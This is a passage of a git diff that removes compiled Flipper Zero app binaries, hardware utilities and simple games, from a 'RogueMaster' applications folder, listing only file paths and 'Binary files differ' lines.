RM)/RogueMaster/GPIO/bmi160_air_mouse.fap deleted file mode 100644 index 52992c82c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/bmi160_air_mouse.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap deleted file mode 100644 index 7187392e5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/can_commander.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap deleted file mode 100644 index a7fb64c43..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canbus.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap deleted file mode 100644 index 864034618..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canfdhs.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap deleted file mode 100644 index 1f9bfd416..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/canonivm.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap deleted file mode 100644 index fcb72c255..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/coffee_eeprom.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap deleted file mode 100644 index 4cfd2faf3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/continuity.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap deleted file mode 100644 index aa2c61e41..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/digimon_fcom.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap deleted file mode 100644 index 7c7ba4d95..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/e220_lora_config.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap deleted file mode 100644 index 8ab35fcc6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/enc_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap deleted file mode 100644 index 471f11755..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fencing_testbox.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap deleted file mode 100644 index c1a0ced9a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flashlight.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap deleted file mode 100644 index 12e1271e5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flipagotchi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap deleted file mode 100644 index f62c81f77..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/flippy_temp.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap deleted file mode 100644 index 120496097..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/fm_radio.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap deleted file mode 100644 index 06f5f9aae..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap deleted file mode 100644 index 37f416c74..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_7segment_output.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap deleted file mode 100644 index 86bc07d60..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_badge.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap deleted file mode 100644 index 55495d16a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_controller.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap deleted file mode 100644 index c177219d1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_intervalometer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap deleted file mode 100644 index 81ec023ba..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_pins_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap deleted file mode 100644 index eefe5ace2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_reader_b.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap deleted file mode 100644 index 0bfd3cc1c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_rgb_led.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap deleted file mode 100644 index 7397fc24e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_sentry_safe.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap deleted file mode 100644 index 7f5e44855..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/gpio_wi2c.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap deleted file mode 100644 index c767eb77f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/hc11_modem.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap deleted file mode 100644 index 3520caf5c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lasercat.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap deleted file mode 100644 index c20e8547c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/logic_analyzer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap deleted file mode 100644 index 33bac97df..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap deleted file mode 100644 index 214431781..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/lora_terminal.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap deleted file mode 100644 index b1e38344c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/magspoof.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap deleted file mode 100644 index fd7b3002e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/modbus.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap deleted file mode 100644 index 4d35be1bb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/nmea_gps.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap deleted file mode 100644 index e5ae01ec2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/noptel_lrf_sampler.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap deleted file mode 100644 index e9238c300..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/oscilloscope.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap deleted file mode 100644 index 5d88d2eac..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/pokemon_trading.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap deleted file mode 100644 index cbe66d44b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/rc2014_coleco.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap deleted file mode 100644 index 0c7da078d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/sd_spi_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap deleted file mode 100644 index 5e53ab05f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap deleted file mode 100644 index c659343fe..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/servotester2.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap deleted file mode 100644 index 64b0ff0db..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/si4713tuner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap deleted file mode 100644 index cbc0dd805..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/signal_generator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap deleted file mode 100644 index a0b408b82..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/simultaneous_rfid_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap deleted file mode 100644 index 64ecde107..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spi_terminal.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap deleted file mode 100644 index 78877baa8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/spotify_remote.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap deleted file mode 100644 index 6bacd1bab..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/stepcounter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap deleted file mode 100644 index b4b28bd88..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/strobometer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap deleted file mode 100644 index 4a0adb373..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_echo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap deleted file mode 100644 index 3a681c697..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uart_terminal.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap deleted file mode 100644 index 82e26c4a2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ublox.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap deleted file mode 100644 index ab8aaeafd..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/uhf_rfid.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap deleted file mode 100644 index 6125e6675..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wav_recorder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap deleted file mode 100644 index e2357384f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wch_swio_flasher.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap deleted file mode 100644 index c628495de..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wiegand_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap deleted file mode 100644 index 9e235da91..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wii_ec_analyzer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap deleted file mode 100644 index 42c1c044f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/wire_tester.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap deleted file mode 100644 index ce94467a1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ws2812b_tester_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap deleted file mode 100644 index 095364753..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/yuricable_pro_max.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap deleted file mode 100644 index 84c830e8b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/2048.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap deleted file mode 100644 index 7179ee1df..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/2048_improved.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap deleted file mode 100644 index a8019e239..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/4_in_a_row.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap deleted file mode 100644 index e910170f4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/99.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap deleted file mode 100644 index e4af74aa8..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/apple_grabber.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap deleted file mode 100644 index 45dc37559..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/arkanoid.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap deleted file mode 100644 index 375d08c2c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/asteroids.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap deleted file mode 100644 index 31b3372b7..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/banana.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap deleted file mode 100644 index e0dfaec14..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap deleted file mode 100644 index 3173ab2b0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/blackjack_rg.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap deleted file mode 100644 index 51139e035..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberduck.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap deleted file mode 100644 index dadbb5c68..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/bomberfox.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap deleted file mode 100644 index 54d6d36b6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/cells_sim_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap deleted file mode 100644 index c3996075c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/chess.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap deleted file mode 100644 index f758994dc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/chess_clock.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap deleted file mode 100644 index a1248b6c5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/cigarette.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap deleted file mode 100644 index 64e82d60c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/citybloxx.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap deleted file mode 100644 index 7e9abc1ba..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/cognizantflipper.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap deleted file mode 100644 index 4922bd891..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/color_guess.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap deleted file mode 100644 index 018a035ef..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/connect_wires.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap deleted file mode 100644 index 6c493222d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/crossy_road.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap deleted file mode 100644 index 0a6eb8740..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/dice_rm.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap deleted file mode 100644 index 6b13157a5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/dnd_dice_app.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap deleted file mode 100644 index 5738db769..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/doom.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap deleted file mode 100644 index 20f45339b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/drifter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap deleted file mode 100644 index a5db0ba99..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/dvd_bouncer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap deleted file mode 100644 index 8d914682e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/eightball.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap deleted file mode 100644 index c21ab7275..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/etchasketch.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap deleted file mode 100644 index d6f971874..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/five_nights_at_flippers.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap deleted file mode 100644 index 7aa39bdf5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/flappy_bird.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap deleted file mode 100644 index 90cfc976a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/flight_assault.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flipper_hero.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flipper_hero.fap deleted file mode 100644 index bbf38eef3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/flipper_hero.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap deleted file mode 100644 index 863de5f6f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/flippy_road.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap deleted file mode 100644 index 8c13f5adb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/fmatrix.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/fortune_cookie.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/fortune_cookie.fap deleted file mode 100644 index 7e832e127..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/fortune_cookie.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap deleted file mode 100644 index 891fdbb86..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/furious_birds.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap deleted file mode 100644 index af2c1ac37..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/game15.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap deleted file mode 100644 index 92ddc49ba..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/gameoflife.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap deleted file mode 100644 index b7f646d90..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/guess_the_number.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap deleted file mode 100644 index da24dc43e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/hangman.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/hanoi_towers.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/hanoi_towers.fap deleted file mode 100644 index 35c399451..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/hanoi_towers.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap deleted file mode 100644 index 504bd1f7a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Games/heap_defence.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap b/Applications/Custom (UL, RM)/RogueMaster/Games/insults.fap deleted file mode 100644 index dd5a62eae..000000000 Binary files a/Applications/Custom (UL, 